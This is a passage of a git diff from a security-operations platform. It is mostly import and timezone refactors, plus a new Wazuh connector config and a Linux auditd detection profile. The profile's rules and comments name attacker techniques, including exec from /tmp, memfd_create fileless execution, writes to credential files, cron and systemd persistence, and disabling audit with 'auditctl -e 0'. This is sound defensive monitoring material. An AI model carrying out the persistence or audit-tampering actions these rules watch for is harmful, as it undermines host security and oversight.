"httpx.AsyncClient", user_id: str) -> dict:+ async def _clear_mfa(self, client: httpx.AsyncClient, user_id: str) -> dict:# Enumerate enrolled factors and delete eachr = await client.get(f"/users/{user_id}/factors")r.raise_for_status()diff --git a/plugins/onepassword-events/plugin.py b/plugins/onepassword-events/plugin.pyindex e58f2a735..37d67be52 100644--- a/plugins/onepassword-events/plugin.py+++ b/plugins/onepassword-events/plugin.py@@ -20,7 +20,7 @@ Payload shape:"""from __future__ import annotations-from datetime import datetime, timedelta, timezone+from datetime import UTC, datetime, timedeltafrom typing import Anytry:@@ -47,7 +47,7 @@ _FEED_PATHS = {class Plugin:"""1Password Events connector plugin."""- def _client(self, context: dict[str, Any]) -> "httpx.AsyncClient":+ def _client(self, context: dict[str, Any]) -> httpx.AsyncClient:config = context.get("config") or {}if "api_token" not in config:raise ValueError("api_token is required in plugin config")@@ -75,7 +75,7 @@ class Plugin:json={"limit": 1,"start_time": (- datetime.now(timezone.utc) - timedelta(minutes=5)+ datetime.now(UTC) - timedelta(minutes=5)).isoformat(),},)@@ -89,7 +89,7 @@ class Plugin:if isinstance(feeds, str):feeds = [feeds]since = payload.get("since") or (- datetime.now(timezone.utc) - timedelta(minutes=15)+ datetime.now(UTC) - timedelta(minutes=15)).isoformat()limit = int(payload.get("limit", 200))diff --git a/plugins/snowflake-events/plugin.py b/plugins/snowflake-events/plugin.pyindex 1b9bc55e1..e0e0774e3 100644--- a/plugins/snowflake-events/plugin.py+++ b/plugins/snowflake-events/plugin.py@@ -19,7 +19,7 @@ This plugin gracefully degrades if the dependency is missing."""from __future__ import annotations-from datetime import datetime, timedelta, timezone+from datetime import UTC, datetime, timedeltafrom typing import Anytry:@@ -57,7 +57,7 @@ class Plugin:action = payload.get("action", "fetch_logins")since = payload.get("since") or (- datetime.now(timezone.utc) - timedelta(minutes=15)+ datetime.now(UTC) - timedelta(minutes=15)).isoformat()limit = int(payload.get("limit", 500))diff --git a/plugins/tailscale-acl/plugin.py b/plugins/tailscale-acl/plugin.pyindex 806bbc870..345b2be3c 100644--- a/plugins/tailscale-acl/plugin.py+++ b/plugins/tailscale-acl/plugin.py@@ -37,7 +37,7 @@ _API_BASE = "https://api.tailscale.com/api/v2"class Plugin:"""Tailscale ACL action plugin."""- def _client(self, context: dict[str, Any]) -> "httpx.AsyncClient":+ def _client(self, context: dict[str, Any]) -> httpx.AsyncClient:config = context.get("config") or {}if "tailnet" not in config or "api_key" not in config:raise ValueError("tailnet and api_key are required in plugin config")diff --git a/plugins/templates/README.md b/plugins/templates/README.mdnew file mode 100644index 000000000..3b8f60f73--- /dev/null+++ b/plugins/templates/README.md@@ -0,0 +1,55 @@+# Plugin templates++This directory is intentionally a documentation pointer. The canonical+plugin scaffolding templates live inside the `aisoc-cli` package so they+can be loaded at runtime via `importlib.resources` and bundled into the+distributed wheel:++```+packages/aisoc-cli/src/aisoc_cli/templates/+├── enricher/+│ ├── plugin.yaml.tmpl+│ ├── plugin.py.tmpl+│ └── README.md.tmpl+├── connector/+│ ├── plugin.yaml.tmpl+│ ├── connector.py.tmpl+│ └── README.md.tmpl+├── responder/+│ ├── plugin.yaml.tmpl+│ ├── plugin.py.tmpl+│ └── README.md.tmpl+├── detection/+│ ├── plugin.yaml.tmpl+│ ├── rules/example.yaml.tmpl+│ └── README.md.tmpl+└── widget/+ ├── plugin.yaml.tmpl+ ├── widget.py.tmpl+ └── README.md.tmpl+```++## Scaffolding a new plugin++```bash+aisoc plugin new "My Plugin" --type connector --output-dir plugins/+# or, for backwards compatibility:+aisoc plugin scaffold "My Plugin" --type connector --output-dir plugins/+```++Supported `--type` values: `enricher | connector | responder | detection | widget`.++The `--author` flag is also supported and is written into the generated+`plugin.yaml`. Templates use `string.Template` substitution with these+variables: `$slug`, `$name`, and `$author` (use `${slug}` braces if the+placeholder is followed by an identifier character).++## Editing the templates++Edit the `.tmpl` files in `packages/aisoc-cli/src/aisoc_cli/templates/<type>/`+directly. They are loaded via `importlib.resources` at runtime, so changes+are picked up by an editable install (`pip install -e packages/aisoc-cli`).++Tests for the scaffolder live at+`packages/aisoc-cli/tests/test_cli.py::test_plugin_new_per_type` and exercise+every plugin type end-to-end.diff --git a/plugins/wazuh/plugin.yaml b/plugins/wazuh/plugin.yamlnew file mode 100644index 000000000..7548d6f58--- /dev/null+++ b/plugins/wazuh/plugin.yaml@@ -0,0 +1,55 @@+id: wazuh+name: Wazuh Connector+version: "1.0.0"+plugin_type: connector+tier: stable+description: >+ Wazuh — open-source XDR/SIEM. Pulls alerts from the Wazuh indexer+ (OpenSearch-compatible) above a configurable rule-level threshold and+ collapses the 0-15 rule-level ladder onto AiSOC's four-tier severity+ taxonomy (info | low | medium | high) so detection and fusion logic+ stays vendor-agnostic.+author: AiSOC Core Team+tags: [siem, xdr, wazuh, opensource, hids, fim]+homepage: https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/wazuh.py+license: MIT+min_aisoc_version: "4.0.0"+config_schema:+ type: object+ required: [indexer_url, username, password]+ properties:+ indexer_url:+ type: string+ description: >+ Base URL of the Wazuh **indexer** (NOT the dashboard or manager).+ Default port is 9200. Example: https://wazuh.example.com:9200+ username:+ type: string+ description: >+ Indexer user with read access to wazuh-alerts-*. Create a dedicated+ read-only role in production rather than reusing the kibanaserver or+ admin accounts.+ password:+ type: string+ description: "Indexer user password."+ secret: true+ index_pattern:+ type: string+ description: "Override only if you have re-templated the default Wazuh index naming."+ default: "wazuh-alerts-*"+ min_rule_level:+ type: integer+ description: >+ Drop alerts with rule.level below this value at ingest. Default 7+ keeps low-signal noise (informational decoder hits, sshd success+ events) out of the lake; lower to 3 for full audit coverage.+ default: 7+ minimum: 0+ maximum: 15+ verify_tls:+ type: boolean+ description: >+ Verify TLS certificate when calling the indexer. Disable only for+ self-signed lab clusters; production deployments must install the+ CA chain instead.+ default: truediff --git a/plugins/yara-enricher/plugin.py b/plugins/yara-enricher/plugin.pyindex 4a3593144..dbd1a3951 100644--- a/plugins/yara-enricher/plugin.py+++ b/plugins/yara-enricher/plugin.py@@ -28,8 +28,8 @@ Returns:"""from __future__ import annotations-import osimport glob+import osfrom pathlib import Pathfrom typing import Anydiff --git a/profiles/auditd/README.md b/profiles/auditd/README.mdnew file mode 100644index 000000000..d4d70c307--- /dev/null+++ b/profiles/auditd/README.md@@ -0,0 +1,122 @@+# AiSOC auditd profile++A drop-in `audit.rules` profile that gives the [`auditd`](../../services/connectors/app/connectors/auditd.py)+connector enough signal to drive the bundled Linux endpoint detection+rules (`detections/endpoint/linux-*.yaml`) **without** running a+host-side AiSOC agent.++The connector tails `/var/log/audit/audit.log` directly and matches on+the `key=` field every rule attaches via `-k aisoc_*`. The connector's+severity heuristic is a pure function of the key prefix:++| Key prefix | Severity |+| ------------------- | -------- |+| `aisoc_critical_*` | `high` |+| `aisoc_priv_esc_*` | `medium` |+| `aisoc_persistence_*` | `medium` |+| `aisoc_exec` | `medium` |+| `aisoc_watch_*` | `low` |+| `aisoc_audit_*` | `low` |++This means the SOC analyst sees the same severity in the AiSOC console+as the rule author intended at policy-write time — no second-guessing.++## Install++> Tested on Ubuntu 22.04, Debian 12, RHEL 9, Amazon Linux 2023.++```bash+# 1. Install auditd if it isn't already.+sudo apt-get install -y auditd # Debian / Ubuntu+sudo dnf install -y audit # RHEL / Fedora / Amazon Linux++# 2. Drop the profile into rules.d (NOT directly into audit.rules —+# augenrules will compose the final ruleset for you).+sudo install -m 0640 -o root -g root \+ aisoc.rules /etc/audit/rules.d/99-aisoc.rules++# 3. Reload the kernel ruleset.+sudo augenrules --load++# 4. Confirm the rules are live.+sudo auditctl -l | grep aisoc_+```++You should see ~30 rules with `key=aisoc_*` attached. If you see zero,+re-check that `audit.rules.d` isn't being clobbered by a CIS / STIG+benchmark profile and that `auditd` itself is running+(`systemctl status auditd`).++## Connect AiSOC++Add the connector instance from the AiSOC console (or the API):++| Field | Value (example) |+| --------------- | ---------------------------- |+| Host label | `web-prod-01.eu-west-1` |+| Audit log path | `/var/log/audit/audit.log` |+| Cursor path | _(leave blank — defaults to `<audit_log_path>.aisoc-cursor`)_ |++The connector needs **read** on the audit log and **read/write** on the+cursor file. The cleanest fit is to add the AiSOC service account to+the local `adm` group (which already owns `/var/log/audit/`):++```bash+sudo usermod -aG adm aisoc+```++…and re-login the AiSOC service so the new group takes effect.++## What gets detected, end-to-end++Every rule in `aisoc.rules` is wired into at least one detection rule+that already ships with AiSOC. The full mapping:++| `audit.rules` key | Detection rule(s) |+| -------------------------------- | --------------------------------------------------------------------------------- |+| `aisoc_critical_exec_tmp` | `detections/endpoint/linux-exec-from-tmp.yaml` |+| `aisoc_critical_memfd` | `detections/endpoint/linux-memfd-create.yaml` |+| `aisoc_critical_identity_write` | `detections/endpoint/linux-passwd-shadow-write.yaml` |+| `aisoc_critical_sudoers_write` | `detections/endpoint/linux-sudoers-modification.yaml` |+| `aisoc_critical_pam_write` | `detections/endpoint/linux-pam-modification.yaml` |+| `aisoc_critical_ssh_config` | `detections/endpoint/linux-sshd-config-modification.yaml` |+| `aisoc_critical_authorized_keys` | `detections/endpoint/linux-authorized-keys-write.yaml` |+| `aisoc_persistence_cron` | `detections/endpoint/linux-cron-persistence.yaml` |+| `aisoc_persistence_systemd` | `detections/endpoint/linux-systemd-persistence.yaml` |+| `aisoc_priv_esc_module_load` | `detections/endpoint/linux-kernel-module-load.yaml` |+| `aisoc_audit_self_tamper` | `detections/endpoint/linux-auditctl-disable.yaml` |++If you author a new rule against this profile, follow the same+convention — pick a key with a documented prefix, and the rest of the+pipeline (severity, console grouping, eval grading) lights up for free.++## Tuning++The profile is intentionally conservative. Two knobs you'll want to+consider on real hosts:++1. **Backlog limits.** `-b 8192` is enough for a quiet web tier, way+ too small for a busy database. Bump it to 32768 if you see+ `audit_lost > 0` in `/var/log/audit/audit.log`.+2. **Lockdown.** The trailing `-e 2` is commented out so you can+ iterate. Once stable, uncomment it; an attacker can no longer+ `auditctl -e 0` you without a reboot, and the reboot itself becomes+ a high-confidence signal.++## Why no host-agent?++This profile + the file-tail connector exists because **a host-agent+is a 5–7 day Go project we deferred to a later release.** The trade-off:++* ✅ Zero net-new code on the customer host. Stock `auditd` only.+* ✅ Works on any distro with `auditd` (RHEL family, Debian family, Amazon Linux, SUSE).+* ✅ The connector is the only AiSOC-specific surface, and it lives on the AiSOC side.+* ⚠️ Requires the AiSOC service to read `/var/log/audit/audit.log`,+ which means either group membership in `adm` or a sidecar+ shipper (rsyslog/Vector/Fluent Bit forwarding the file).+* ⚠️ Sub-second latency depends on poll interval; default is 5 minutes.+ Drop the per-instance `poll_interval_seconds` to `30` for tier-1 hosts.++When the host-agent ships, this profile stays exactly the same — the+agent will read the same log file, parse it with the same library+the connector uses, and emit identical normalized events.diff --git a/profiles/auditd/aisoc.rules b/profiles/auditd/aisoc.rulesnew file mode 100644index 000000000..eb5d33d82--- /dev/null+++ b/profiles/auditd/aisoc.rules@@ -0,0 +1,143 @@+## AiSOC audit.rules profile (Linux auditd) — v1.0.0+##+## Drop this file at /etc/audit/rules.d/99-aisoc.rules and reload+## with `augenrules --load`. Every rule names its bucket via a+## ``-k aisoc_*`` key so the AiSOC `auditd` connector can map the+## event to a severity tier (see services/connectors/app/connectors/auditd.py+## for the mapping table).+##+## Severity buckets (matched by key prefix):+## aisoc_critical_* -> high+## aisoc_priv_esc_* -> medium+## aisoc_persistence_* -> medium+## aisoc_exec -> medium+## aisoc_watch_* -> low+## aisoc_audit_* -> low+##+## Coverage targets (in priority order):+## 1. execve from /tmp, /dev/shm, /var/tmp (post-exploit staging)+## 2. writes to /etc/passwd, /etc/shadow, /etc/sudoers, /etc/sudoers.d+## 3. SSH config + authorized_keys tampering+## 4. Cron / systemd persistence+## 5. Kernel module load / removal+## 6. ptrace, mount, finit_module / init_module+## 7. Audit subsystem self-tampering (auditctl -D, -e 0)+##+## We deliberately do NOT enable a blanket exec catch-all. Every+## execve on a busy host produces ~10-50 records/second; that+## overwhelms the file_tail connector and obscures real signal.+## Operators who want full execve coverage can append:+##+## -a always,exit -F arch=b64 -S execve -k aisoc_exec+##+## ...and accept the volume.++## ---------------------------------------------------------------+## Step 1: reset everything we know about so the policy is+## deterministic across reloads. Comment this out if you're+## layering AiSOC on top of an existing CIS / STIG ruleset.+## ---------------------------------------------------------------++-D+-b 8192+--backlog_wait_time 60000+-f 1++## ---------------------------------------------------------------+## Step 2: high-signal execve from staging directories.+## Suppresses /tmp, /var/tmp, /dev/shm execs which almost never+## have a legitimate origin in production.+## ---------------------------------------------------------------++-a always,exit -F arch=b64 -S execve -F dir=/tmp -F success=1 -k aisoc_critical_exec_tmp+-a always,exit -F arch=b64 -S execve -F dir=/var/tmp -F success=1 -k aisoc_critical_exec_tmp+-a always,exit -F arch=b64 -S execve -F dir=/dev/shm -F success=1 -k aisoc_critical_exec_tmp+-a always,exit -F arch=b32 -S execve -F dir=/tmp -F success=1 -k aisoc_critical_exec_tmp+-a always,exit -F arch=b32 -S execve -F dir=/dev/shm -F success=1 -k aisoc_critical_exec_tmp++## memfd_create -> execve is the canonical fileless-malware pattern.+-a always,exit -F arch=b64 -S memfd_create -k aisoc_critical_memfd++## ---------------------------------------------------------------+## Step 3: identity / credential file watches.+## Any write to these is a high-confidence signal in steady-state.+## ---------------------------------------------------------------++-w /etc/passwd -p wa -k aisoc_critical_identity_write+-w /etc/shadow -p wa -k aisoc_critical_identity_write+-w /etc/group -p wa -k aisoc_critical_identity_write+-w /etc/gshadow -p wa -k aisoc_critical_identity_write+-w /etc/sudoers -p wa -k aisoc_critical_sudoers_write+-w /etc/sudoers.d/ -p wa -k aisoc_critical_sudoers_write+-w /etc/pam.d/ -p wa -k aisoc_critical_pam_write++## ---------------------------------------------------------------+## Step 4: SSH server + user key tampering.+## ---------------------------------------------------------------++-w /etc/ssh/sshd_config -p wa -k aisoc_critical_ssh_config+-w /etc/ssh/sshd_config.d/ -p wa -k aisoc_critical_ssh_config+-w /root/.ssh/authorized_keys -p wa -k aisoc_critical_authorized_keys++## ---------------------------------------------------------------+## Step 5: persistence (cron, systemd, init.d, profile.d).+## ---------------------------------------------------------------++-w /etc/crontab -p wa -k aisoc_persistence_cron+-w /etc/cron.d/ -p wa -k aisoc_persistence_cron+-w /etc/cron.hourly/ -p wa -k aisoc_persistence_cron+-w /etc/cron.daily/ -p wa -k aisoc_persistence_cron+-w /etc/cron.weekly/ -p wa -k aisoc_persistence_cron+-w /etc/cron.monthly/ -p wa -k aisoc_persistence_cron+-w /var/spool/cron/ -p wa -k aisoc_persistence_cron+-w /etc/systemd/system/ -p wa -k aisoc_persistence_systemd+-w /lib/systemd/system/ -p wa -k aisoc_persistence_systemd+-w /etc/init.d/ -p wa -k aisoc_persistence_initd+-w /etc/profile -p wa -k aisoc_persistence_profile+-w /etc/profile.d/ -p wa -k aisoc_persistence_profile+-w /etc/rc.local -p wa -k aisoc_persistence_rclocal++## ---------------------------------------------------------------+## Step 6: kernel module / privilege escalation primitives.+## ---------------------------------------------------------------++-a always,exit -F arch=b64 -S init_module -k aisoc_priv_esc_module_load+-a always,exit -F arch=b64 -S finit_module -k aisoc_priv_esc_module_load+-a always,exit -F arch=b64 -S delete_module -k aisoc_priv_esc_module_load+-a always,exit -F arch=b64 -S ptrace -k aisoc_priv_esc_ptrace+-a always,exit -F arch=b64 -S mount -k aisoc_priv_esc_mount+-w /sbin/insmod -p x -k aisoc_priv_esc_module_load+-w /sbin/rmmod -p x -k aisoc_priv_esc_module_load+-w /sbin/modprobe -p x -k aisoc_priv_esc_module_load++## ---------------------------------------------------------------+## Step 7: audit subsystem self-tampering.+## Detection rule det-endpoint-147 (linux-auditctl-disable.yaml)+## already pivots on `exe ENDSWITH "/auditctl"`; this watch makes+## the same signal available without an execve catch-all.+## ---------------------------------------------------------------++-w /etc/audit/ -p wa -k aisoc_audit_self_tamper+-w /etc/libaudit.conf -p wa -k aisoc_audit_self_tamper+-w /sbin/auditctl -p x -k aisoc_audit_self_tamper+-w /sbin/auditd -p x -k aisoc_audit_self_tamper+-w /var/log/audit/ -p wa -k aisoc_audit_log_write++## ---------------------------------------------------------------+## Step 8: low-signal watches (still useful for retro hunts).+## ---------------------------------------------------------------++-w /etc/hosts -p wa -k aisoc_watch_hosts+-w /etc/resolv.conf -p wa -k aisoc_watch_dns+-w /etc/nsswitch.conf -p wa -k aisoc_watch_nss++## ---------------------------------------------------------------+## Step 9: lock the configuration so a foothold can't `auditctl -e 0`+## without rebooting. Keep this LAST — every rule below it is+## ignored after `-e 2` is applied.+##+## Comment this out during initial rollout so you can iterate; turn+## it on once your fleet is stable.+## ---------------------------------------------------------------++# -e 2diff --git a/scripts/build_marketplace.py b/scripts/build_marketplace.pyindex 36e37bdae..003264116 100644--- a/scripts/build_marketplace.py+++ b/scripts/build_marketplace.py@@ -35,8 +35,9 @@ import datetime as dtimport jsonimport reimport sys+from collections.abc import Iterablefrom pathlib import Path-from typing import Any, Iterable+from typing import Anyimport yaml@@ -538,7 +539,7 @@ def build_index() -> dict[str, Any]:return {"$schema": "https://example.com/schemas/marketplace/v1.json","version": "1.0.0",- "generated": dt.datetime.now(dt.timezone.utc)+ "generated": dt.datetime.now(dt.UTC).replace(microsecond=0).isoformat().replace("+00:00", "Z"),diff --git a/scripts/build_quarantine_index.py b/scripts/build_quarantine_index.pyindex c4d3b449b..65bcfe58e 100644--- a/scripts/build_quarantine_index.py+++ b/scripts/build_quarantine_index.py@@ -48,9 +48,9 @@ from __future__ import annotationsimport argparseimport collectionsimport sys+from collections.abc import Iterablefrom dataclasses import dataclass, fieldfrom pathlib import Path-from typing import Iterableimport yamldiff --git a/scripts/curate_detections.py b/scripts/curate_detections.pyindex 5303a51f2..7733a6f5b 100644--- a/scripts/curate_detections.py+++ b/scripts/curate_detections.py@@ -69,9 +69,10 @@ import datetime as dtimport jsonimport reimport sys+from collections.abc import Iterablefrom dataclasses import dataclass, fieldfrom pathlib import Path-from typing import Any, Iterable+from typing import Anyimport yaml@@ -720,7 +721,7 @@ def select_curated(def _utc_now() -> str:return (- dt.datetime.now(dt.timezone.utc)+ dt.datetime.now(dt.UTC).replace(microsecond=0).isoformat().replace("+00:00", "Z")diff --git a/scripts/detection_specs_index.py b/scripts/detection_specs_index.pyindex 3dbd6152e..ff5ed406b 100644--- a/scripts/detection_specs_index.py+++ b/scripts/detection_specs_index.py@@ -18,7 +18,7 @@ Tier mapping:from __future__ import annotations-from typing import Iterable+from collections.abc import Iterable# Local imports must be relative to scripts/ (that is the cwd when invoked).from detection_specs import CLOUD, IDENTITY # type: ignore[import-not-found]@@ -34,7 +34,6 @@ from detection_specs_part3_endpoint import ENDPOINT_EXTRA # type: ignore[importfrom detection_specs_part3_identity import IDENTITY_EXTRA # type: ignore[import-not-found]from detection_specs_part3_network import NETWORK_EXTRA # type: ignore[import-not-found]-CATEGORIES: dict[str, list[dict]] = {"cloud": [*CLOUD, *CLOUD_EXTRA],"identity": [*IDENTITY, *IDENTITY_EXTRA],diff --git a/scripts/detection_specs_part3_application.py b/scripts/detection_specs_part3_application.pyindex fbacc6ff6..7b7aed823 100644--- a/scripts/detection_specs_part3_application.py+++ b/scripts/detection_specs_part3_application.py@@ -15,7 +15,6 @@ from detection_specs_part3_helpers import ( # type: ignore[import-not-found]S,)-# ---------------------------------------------------------------------------# Web-app attacks (15)# ---------------------------------------------------------------------------diff --git a/scripts/detection_specs_part3_cloud.py b/scripts/detection_specs_part3_cloud.pyindex 8b5fac7a8..8b372132c 100644--- a/scripts/detection_specs_part3_cloud.py+++ b/scripts/detection_specs_part3_cloud.py@@ -33,7 +33,6 @@ from detection_specs_part3_helpers import ( # type: ignore[import-not-found]S,)-# ---------------------------------------------------------------------------# AWS (60 rules)# ---------------------------------------------------------------------------diff --git a/scripts/detection_specs_part3_endpoint.py b/scripts/detection_specs_part3_endpoint.pyindex 3082204bb..6c49f71a3 100644--- a/scripts/detection_specs_part3_endpoint.py+++ b/scripts/detection_specs_part3_endpoint.py@@ -24,7 +24,6 @@ from detection_specs_part3_helpers import ( # type: ignore[import-not-found]S,)-# ---------------------------------------------------------------------------# Windows (90 rules)# ---------------------------------------------------------------------------diff --git a/scripts/detection_specs_part3_helpers.py b/scripts/detection_specs_part3_helpers.pyindex aadb7b980..f744a0018 100644--- a/scripts/detection_specs_part3_helpers.py+++ b/scripts/detection_specs_part3_helpers.py@@ -20,7 +20,8 @@ Auto-fixture rulesfrom __future__ import annotations-from typing import Any, Iterable+from collections.abc import Iterable+from typing import Any# Operator suffixes - kept in sync with scripts/generate_detections.py.# We don't import OPERATORS to avoid bootstrapping yaml at module import timediff --git a/scripts/detection_specs_part3_identity.py b/scripts/detection_specs_part3_identity.pyindex b2442a7fa..7411aa675 100644--- a/scripts/detection_specs_part3_identity.py+++ b/scripts/detection_specs_part3_identity.py@@ -25,7 +25,6 @@ from detection_specs_part3_helpers import ( # type: ignore[import-not-found]S,)-# ---------------------------------------------------------------------------# Authentication failures / brute force / credential stuffing (25)# ---------------------------------------------------------------------------diff --git a/scripts/detection_specs_part3_network.py b/scripts/detection_specs_part3_network.pyindex acaac3d7b..8bad25e35 100644--- a/scripts/detection_specs_part3_network.py+++ b/scripts/detection_specs_part3_network.py@@ -15,7 +15,6 @@ from detection_specs_part3_helpers import ( # type: ignore[import-not-found]S,)-# ---------------------------------------------------------------------------# DNS (12)# ---------------------------------------------------------------------------diff --git a/scripts/eval_mitre_accuracy.py b/scripts/eval_mitre_accuracy.pyindex 5018fe3c7..a3d038fd2 100755--- a/scripts/eval_mitre_accuracy.py+++ b/scripts/eval_mitre_accuracy.py@@ -36,7 +36,7 @@ def main() -> None:print(result.to_json())else:print(f"\n{'='*60}")- print(f" AiSOC P1-Eval: MITRE ATT&CK Tactic Accuracy")+ print(" AiSOC P1-Eval: MITRE ATT&CK Tactic Accuracy")print(f"{'='*60}")print(f" Incidents evaluated : {result.total}")print(f" Correctly predicted : {result.correct}")diff --git a/scripts/generate_detections.py b/scripts/generate_detections.pyindex e16d4edd3..4eeed9f03 100644--- a/scripts/generate_detections.py+++ b/scripts/generate_detections.py@@ -59,7 +59,6 @@ if str(SCRIPTS_DIR) not in sys.path:from detection_specs_index import CATEGORIES # noqa: E402 (after sys.path tweak)-# -----------------------------------------------------------------------------# Operator table — single source of truth for matcher AND condition rendering.# -----------------------------------------------------------------------------diff --git a/scripts/generate_runbook.py b/scripts/generate_runbook.pyindex a3a253b3e..af2dd5596 100755--- a/scripts/generate_runbook.py+++ b/scripts/generate_runbook.py@@ -27,7 +27,7 @@ import loggingimport osimport sysfrom dataclasses import dataclass, field-from datetime import datetime, timedelta, timezone+from datetime import UTC, datetime, timedeltafrom pathlib import Pathfrom typing import Any@@ -175,8 +175,8 @@ def fetch_traces(LOG.warning("'requests' package not installed; skipping live trace fetch.")return []- end_ns = int(datetime.now(timezone.utc).timestamp() * 1e9)- start_ns = int((datetime.now(timezone.utc) - timedelta(hours=lookback_hours)).timestamp() * 1e9)+ end_ns = int(datetime.now(UTC).timestamp() * 1e9)+ start_ns = int((datetime.now(UTC) - timedelta(hours=lookback_hours)).timestamp() * 1e9)# Tempo search APIurl = f"{endpoint.rstrip('/')}/api/search"@@ -301,10 +301,10 @@ def _build_diagnosis()lines.append("### General diagnosis checklist\n")- lines.append(f"1. Confirm the alert is genuine (not a monitoring flap).")- lines.append(f"2. Check `kubectl get events -n aisoc --sort-by=lastTimestamp | tail -20`.")+ lines.append("1. Confirm the alert is genuine (not a monitoring flap).")+ lines.append("2. Check `kubectl get events -n aisoc --sort-by=lastTimestamp | tail -20`.")lines.append(f"3. Inspect pod logs: `kubectl logs -n aisoc -l app={spec.service_filter} --tail=100 --previous`.")- lines.append(f"4. Review recent deploys: `helm history aisoc -n aisoc`.")+ lines.append("4. Review recent deploys: `helm history aisoc -n aisoc`.")return "\n".join(lines)@@ -326,7 +326,7 @@ def render_runbook(traces: list[dict[str, Any]],lookback_hours: int,) -> str:- now = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M UTC")+ now = datetime.now(UTC).strftime("%Y-%m-%d %H:%M UTC")return _RUNBOOK_TEMPLATE.format(id=spec.id,title=spec.title,diff --git a/scripts/inject_scenario.py b/scripts/inject_scenario.pyindex e3dfe0c4e..29daeb41b 100644--- a/scripts/inject_scenario.py+++ b/scripts/inject_scenario.py@@ -22,9 +22,9 @@ import argparseimport jsonimport sysimport time-import urllib.requestimport urllib.error-from datetime import datetime, timezone+import urllib.request+from datetime import UTC, datetimeSCENARIO: list[dict] = [{@@ -153,7 +153,7 @@ def main() -> None:"mitre_tactics": alert["mitre_tactics"],"mitre_techniques": alert["mitre_techniques"],"raw_data": alert["raw"],- "ts": datetime.now(timezone.utc).isoformat(),+ "ts": datetime.now(UTC).isoformat(),"tags": ["demo-lab", "conti-scenario", f"stage-{alert['stage']}"],}try:diff --git a/scripts/run_evals.py b/scripts/run_evals.pyindex b0d54d8ae..f394ee14d 100755--- a/scripts/run_evals.py+++ b/scripts/run_evals.py@@ -50,63 +50,92 @@ import argparseimport jsonimport sysimport time-from datetime import datetime, timezone+from datetime import UTC, datetimefrom pathlib import Path_REPO_ROOT = Path(__file__).resolve().parent.parent_AGENTS_ROOT = _REPO_ROOT / "services" / "agents"sys.path.insert(0, str(_AGENTS_ROOT))-from tests.test_mitre_accuracy import evaluate_mitre_accuracy # type: ignore-from tests.test_alert_reduction import ( # type: ignore- compute_reduction,- fuse_alerts,- generate_noisy_alert_stream,+from tests.test_adversary_eval import (+ _HEAVY_BUCKET_CEILING as _ADVERSARY_HEAVY_CEILING,)-from tests.test_investigation_completeness import ( # type: ignore- evaluate_completeness,+from tests.test_adversary_eval import (+ _LIGHT_BUCKET_FLOOR as _ADVERSARY_LIGHT_FLOOR,)-from tests.test_response_quality import ( # type: ignore- evaluate_response_quality,+from tests.test_adversary_eval import (+ _OVERALL_FLOOR as _ADVERSARY_OVERALL_FLOOR,)from tests.test_adversary_eval import ( # type: ignoreevaluate_adversary_accuracy,- _OVERALL_FLOOR as _ADVERSARY_OVERALL_FLOOR,- _LIGHT_BUCKET_FLOOR as _ADVERSARY_LIGHT_FLOOR,- _HEAVY_BUCKET_CEILING as _ADVERSARY_HEAVY_CEILING,)-from tests.test_hunt_corpus import ( # type: ignore- evaluate_hunt_corpus,- _POSITIVE_FLOOR as _HUNT_POSITIVE_FLOOR,- _NEGATIVE_CEILING as _HUNT_NEGATIVE_CEILING,+from tests.test_alert_reduction import ( # type: ignore+ compute_reduction,+ fuse_alerts,+ generate_noisy_alert_stream,)from tests.test_confidence_calibration import ( # type: ignoreBRIER_THRESHOLD_INVESTIGATION as _CALIB_BRIER_INV,+)+from tests.test_confidence_calibration import (BRIER_THRESHOLD_TRIAGE as _CALIB_BRIER_TRIAGE,+)+from tests.test_confidence_calibration import (ECE_THRESHOLD_INVESTIGATION as _CALIB_ECE_INV,+)+from tests.test_confidence_calibration import (ECE_THRESHOLD_TRIAGE as _CALIB_ECE_TRIAGE,+)+from tests.test_confidence_calibration import (run_evaluation as _run_calibration_eval,)+from tests.test_detection_fp_rate import ( # type: ignore+ MAX_PER_RULE_FPR as _DETECTION_FP_CEILING,+)+from tests.test_detection_fp_rate import (+ evaluate_per_rule_fp,+)+from tests.test_hunt_corpus import (+ _NEGATIVE_CEILING as _HUNT_NEGATIVE_CEILING,+)+from tests.test_hunt_corpus import (+ _POSITIVE_FLOOR as _HUNT_POSITIVE_FLOOR,+)+from tests.test_hunt_corpus import ( # type: ignore+ evaluate_hunt_corpus,+)+from tests.test_investigation_completeness import ( # type: ignore+ evaluate_completeness,+)from tests.test_memory_recall import ( # type: ignoreRECALL_ACCURACY_FLOOR as _RECALL_FLOOR,+)+from tests.test_memory_recall import (run_evaluation as _run_memory_recall_eval,)+from tests.test_mitre_accuracy import evaluate_mitre_accuracy # type: ignorefrom tests.test_override_accuracy import ( # type: ignoreOVERRIDE_ACCURACY_FLOOR as _OVERRIDE_FLOOR,+)+from tests.test_override_accuracy import (run_evaluation as _run_override_accuracy_eval,)+from tests.test_playbook_completion_rate import (+ ACTION_ALIGNMENT_FLOOR as _PLAYBOOK_ALIGN_FLOOR,+)+from tests.test_playbook_completion_rate import (+ HIGH_CRIT_MAPPED_FLOOR as _PLAYBOOK_HIGH_CRIT_FLOOR,+)from tests.test_playbook_completion_rate import ( # type: ignoreOVERALL_COMPLETION_FLOOR as _PLAYBOOK_OVERALL_FLOOR,- HIGH_CRIT_MAPPED_FLOOR as _PLAYBOOK_HIGH_CRIT_FLOOR,- ACTION_ALIGNMENT_FLOOR as _PLAYBOOK_ALIGN_FLOOR,+)+from tests.test_playbook_completion_rate import (evaluate_playbook_completion,)-from tests.test_detection_fp_rate import ( # type: ignore- MAX_PER_RULE_FPR as _DETECTION_FP_CEILING,- evaluate_per_rule_fp,+from tests.test_response_quality import ( # type: ignore+ evaluate_response_quality,)-# Per-suite floors (must match what tests assert)_TARGETS = {"mitre_accuracy": 0.80,@@ -642,7 +671,7 @@ def main() -> None:args = parser.parse_args()summary: dict = {- "generated_at": datetime.now(timezone.utc).isoformat(),+ "generated_at": datetime.now(UTC).isoformat(),"dataset": "synthetic_incidents.json (200 cases, deterministic)","suites": {"mitre_accuracy": _run_mitre(),diff --git a/scripts/sync_vendored_nl_query.py b/scripts/sync_vendored_nl_query.pynew file mode 100755index 000000000..76fcf8bbf--- /dev/null+++ b/scripts/sync_vendored_nl_query.py@@ -0,0 +1,143 @@+#!/usr/bin/env python3+"""Keep ``services/api/app/_vendor/nl_query`` in lockstep with its source.++The natural-language query translator lives under ``services/agents/app/nl_query``+and is consumed by both the agents runtime and the API's ``/nl-query/*``+endpoints. Because the 